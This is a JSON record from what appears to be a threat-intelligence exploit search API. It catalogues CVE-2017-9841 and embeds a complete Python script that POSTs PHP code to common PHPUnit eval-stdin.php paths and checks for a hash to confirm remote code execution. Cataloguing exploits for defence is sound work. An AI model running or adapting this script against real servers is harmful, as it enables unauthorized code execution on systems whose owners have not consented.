Search Exploits

{
	"next": "https://api.zerofox.com/cti/exploits/?cursor=c2E9MTYyNzU2ODM2ODAwMCZzYT0zMQ%3D%3D&since=2023-06-27T00%3A00%3A00Z",
	"results": [
		{
			"created_at": "2021-07-26T09:40:37Z",
			"cve": "CVE-2017-9841",
			"urls": [
				"https://github.com/ludy-dev/PHPUnit_eval-stdin_RCE/blob/master/PHPUnit_eval-stdin_RCE.py"
			],
			"exploit": "import re\nimport requests\nimport sys\nimport os\nimport base64\n\ndef exploit(dst_addr):\n\tlist = {\"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php\"\n                ,\"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php\"\n                ,\"/vendor/phpunit/src/Util/PHP/eval-stdin.php\"\n                ,\"/vendor/phpunit/Util/PHP/eval-stdin.php\"\n                ,\"/phpunit/phpunit/src/Util/PHP/eval-stdin.php\"\n                ,\"/phpunit/phpunit/Util/PHP/eval-stdin.php\"\n                ,\"/phpunit/src/Util/PHP/eval-stdin.php\"\n                ,\"/phpunit/Util/PHP/eval-stdin.php\"\n                ,\"/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php\"\n                ,\"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php\"\n                ,\"/lib/phpunit/src/Util/PHP/eval-stdin.php\"\n                ,\"/lib/phpunit/Util/PHP/eval-stdin.php\"}\n\t\n\tprint(dst_addr)\n\tfor i in list:\n\t\t\n\t\tURL=\"http://\"+dst_addr+i\n\t\tprint(URL)\n\t\tdata = \"<?=die(@md5(Apri1));?>\"\n\t\tres = requests.post(URL, data=data, verify=False)\n\t\tresponse = res.text\n\t\t\n    \t\tp = re.compile('c0eb89e1d7f2982390f96603e66f2b6b') # md5(Apri1) = c0eb89e1d7f2982390f96603e66f2b6b\n\t\tm = p.match(response)\n\t\tprint(\"Status Code : %d\"% res.status_code)\n\t\tif m:\n\t\t\t\tprint(\"Vuln Found\")\n\t\telse:\n\t\t\t\tprint(\"Not Found\")\n\n\nif __name__ == \"__main__\":\n\tif len(sys.argv) == 2:\n\t\t   sys.argv.append('80')\n\telif len(sys.argv) < 3:\n\t\t\tprint ('Usage: python %s <dst_ip> <dst_port>' % os.path.basename(sys.argv[0]))\n\t\t\tsys.exit()\t\n\taddress =(sys.argv[1], sys.argv[2])\n\tdst_addr=\":\".join(address)\n\texploit(dst_addr)"
		}
	]
}